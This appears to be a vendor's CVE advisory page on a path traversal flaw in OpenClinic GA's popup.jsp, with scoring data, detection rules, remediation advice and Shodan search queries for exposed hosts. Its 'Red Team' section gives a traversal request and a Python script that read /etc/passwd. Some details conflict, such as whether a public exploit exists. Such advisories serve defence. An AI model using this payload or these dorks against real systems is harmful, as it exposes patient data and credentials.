☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-22
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-40280

CVE-2023-40280 Path Traversal in Openclinic
📅 PUBLISHED: 2024-03-19 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.29%
👁️
1.29% probability
32.4× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 5.247.01
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-40280 is a directory path traversal vulnerability discovered in OpenClinic GA version 5.247.01. The flaw resides in the popup.jsp file, where the Page parameter in a GET request is not properly sanitized. An unauthenticated attacker can exploit this to read arbitrary files from the server's filesystem, potentially exposing sensitive configuration files, patient data, or system credentials. The vulnerability has a CVSS score of 0.0 in the NVD due to incomplete scoring, but based on the vector analysis, it poses a significant confidentiality risk. No official patch has been released, and no public exploit code or Nuclei template is available at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High (H) – Full file read access.
  • Integrity (I): None (N) – No file modification.
  • Availability (A): None (N) – No denial of service.

Threat Level: High (Confidentiality impact). The lack of authentication and low complexity make this a critical risk for healthcare environments using OpenClinic GA.

Deep Dive & Mechanics

The vulnerability exists in the popup.jsp page, which is used to load dynamic content via the Page parameter. The application fails to validate or sanitize user-supplied input, allowing path traversal sequences such as ../ to escape the intended web root directory.

Attack Flow:

  1. An attacker sends a GET request to popup.jsp with a crafted Page parameter.
  2. The parameter value is used directly in a file inclusion operation without proper filtering.
  3. The server reads the requested file and returns its contents in the HTTP response.

Example Request:

GET /popup.jsp?Page=../../../etc/passwd HTTP/1.1
Host: target.openclinic.local

This would return the contents of /etc/passwd on a Linux server, or equivalent system files on Windows.

Root Cause: The Page parameter is concatenated into a file path without stripping directory traversal sequences or validating that the resulting path is within an allowed directory.

Vulnerable vs. Patched Code

Vulnerable Code (popup.jsp):

<%
    String page = request.getParameter("Page");
    if (page != null) {
        // Direct inclusion without sanitization
        String content = readFile("/webroot/pages/" + page);
        out.println(content);
    }
%>

Patched Code (Hypothetical):

<%
    String page = request.getParameter("Page");
    if (page != null) {
        // Sanitize: remove directory traversal sequences
        page = page.replace("../", "").replace("..\\", "");
        // Validate: ensure path is within allowed directory
        File allowedDir = new File("/webroot/pages/");
        File requestedFile = new File(allowedDir, page);
        if (requestedFile.getCanonicalPath().startsWith(allowedDir.getCanonicalPath())) {
            String content = readFile(requestedFile.getAbsolutePath());
            out.println(content);
        } else {
            out.println("Access denied.");
        }
    }
%>

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Target running OpenClinic GA 5.247.01
  • Network access to the web interface

Exploitation Steps:

  1. Identify the target's base URL (e.g., http://target.openclinic.local/).
  2. Send a crafted GET request to traverse directories:
    GET /popup.jsp?Page=../../../etc/passwd HTTP/1.1
    Host: target.openclinic.local
    
  3. Observe the response containing the file contents.

Automated Script (Python):

import requests

target = "http://target.openclinic.local"
payload = "../../../etc/passwd"
url = f"{target}/popup.jsp?Page={payload}"

response = requests.get(url)
if response.status_code == 200:
    print(response.text)
else:
    print(f"Failed: {response.status_code}")

Blue Team

Detection Steps:

  1. Monitor web server logs for suspicious popup.jsp requests containing ../ or ..\\ sequences.
  2. Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
  3. Restrict file system permissions to prevent the web server user from reading sensitive files.

Honeypot Setup:

  • Deploy a decoy popup.jsp that logs all requests and alerts on path traversal attempts.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP GET requests to /popup.jsp with Page parameter containing ../ or ..\\
    • Outbound responses containing system file contents (e.g., root:x:0:0:root:/root:/bin/bash)
  • File System IOCs:

    • Unexpected access to /etc/passwd, C:\Windows\win.ini, or other sensitive files by the web server process.
  • Log IOCs:

    • Web server access logs showing GET /popup.jsp?Page=../../../etc/passwd with status 200.

Detection Engineering

YARA Rule

rule CVE_2023_40280_PathTraversal {
    meta:
        description = "Detects path traversal attempts in popup.jsp requests"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2023-40280"
    strings:
        $traversal = /popup\.jsp\?Page=[^&]*\.\.\//
    condition:
        $traversal
}

Sigma Rule

title: CVE-2023-40280 Path Traversal in popup.jsp
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects path traversal attempts targeting OpenClinic GA popup.jsp
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "popup.jsp?Page="
            - "../"
    condition: selection
falsepositives:
    - Legitimate use of ".." in page names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-40280 Path Traversal in popup.jsp"; flow:to_server,established; content:"GET"; http_method; content:"/popup.jsp"; http_uri; content:"Page="; http_uri; pcre:"/Page=[^&]*\.\.\//i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Input Validation: Implement strict input validation on the Page parameter to reject any characters that enable path traversal (e.g., ., /, \).
  2. File Path Canonicalization: Use getCanonicalPath() in Java to resolve the final path and verify it starts with the allowed base directory.
  3. Web Application Firewall (WAF): Deploy a WAF rule to block requests containing ../ or ..\\ in the Page parameter.

Long-Term Fix:

  • Apply the hypothetical patch shown in the "Vulnerable vs. Patched Code" section.
  • Upgrade to a patched version once released by the vendor.

Workaround:

  • If patching is not possible, restrict access to popup.jsp via .htaccess or firewall rules to trusted IP addresses only.

Valters IT signature: This report is generated by Valters IT Cyber Threat Intelligence. For questions, contact intelligence@valters.it.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"OpenClinic"
http.html:"OpenClinic GA"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-40280/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.